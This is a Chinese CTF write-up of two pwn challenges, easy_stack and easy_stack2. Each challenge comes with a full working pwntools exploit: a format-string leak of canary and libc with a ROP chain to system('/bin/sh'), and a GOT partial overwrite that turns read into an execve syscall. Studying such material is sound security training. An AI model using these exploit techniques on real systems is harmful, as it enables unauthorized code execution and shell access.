第三届“强网”拟态精英挑战赛pwn全解

easy_stack

格式化字符串泄漏canary后和libc,gets栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
from pwn import *
import sys

local = 0

if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./easy-stack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("172.35.4.43","9999")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

pay = "%21$p-%23$p"
sla("stack\n",pay)
puts_addr = int(ru("-").strip("-"),16) - 362
canary = int(ru("\n").strip('\n'),16)
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search("/bin/sh\x00").next()
pop_rdi = libc_base + 0x21102
show("puts_addr",puts_addr)
show("canary",canary)

pay = 0x88*'a' + p64(canary) + 'b'*8
pay += p64(pop_rdi) + p64(binsh)
pay += p64(system)
sla("gift\n",pay)

p.interactive()

easy_stack2

本来是easy_stack的升级版,加了mimicobx,但是长时间0解后降低了难度,变成了一栈简单的栈溢出题,但是远程过滤了不可见字符,也就是说无法泄漏地址,一旦出现不可见字符连接就会自动断开;于是泄漏地址ret2libc的方法不可行。

方法1:64位ret2dl_runtime_resolve

方法2:

利用read拿到一个syscall,因为got表可写,所以修改read的低字节为’\x5e’,通过write输出0x3b个可见字符控制 rax为0x3b最后调用execv(“/bin/sh\x00”,0,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding:utf-8
from pwn import *
import sys

local = 0

if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./easy-stack2')
elf = ELF('./easy-stack2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("172.35.100.100",10004)
elf = ELF('./easy-stack2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))
pop_rdi = 0x0000000000400623
pop_rsi_r15 = 0x0000000000400621
mov_call = 0x400600
pppp_ret = 0x40061A

main = 0x400587
'''
pay = 0x88*'a'
pay += p64(pppp_ret)
pay += p64(0) + p64(1) + p64(elf.got['write']) + p64(4) + p64(elf.got['read']) + p64(1)
pay += p64(mov_call) + p64(0)*7
pay += p64(main)

# gdb.attach(p,"b *0x400584")
sla("World\n",pay)
'''
binsh = 0x601030
# read /bin/sh
pay = 0x88*'a'
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(binsh) + p64(0)
pay += p64(elf.plt['read'])
pay += p64(main)
# gdb.attach(p,"b *0x400584")
sla("World\n",pay)
pause()
sl("/bin/sh\x00" + "B"*59)

# set read to syscall
pay = 0x88*'a'
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(elf.got['read']) + p64(0)
pay += p64(elf.plt['read'])

pay += p64(pppp_ret)
pay += p64(0) + p64(1) + p64(elf.got['write']) + p64(59) + p64(binsh + 8) + p64(1)
pay += p64(mov_call)
pay += p64(0)*7

# now rax = 0x3b
pay += p64(pppp_ret)
pay += p64(0) + p64(1) + p64(elf.got['read']) + p64(0) + p64(0) + p64(binsh)
pay += p64(mov_call)
# gdb.attach(p,"b *0x400584")
sla("World\n",pay)
sleep(0.1)
pause()
sd('\x5e')

p.interactive()

emmmm

0%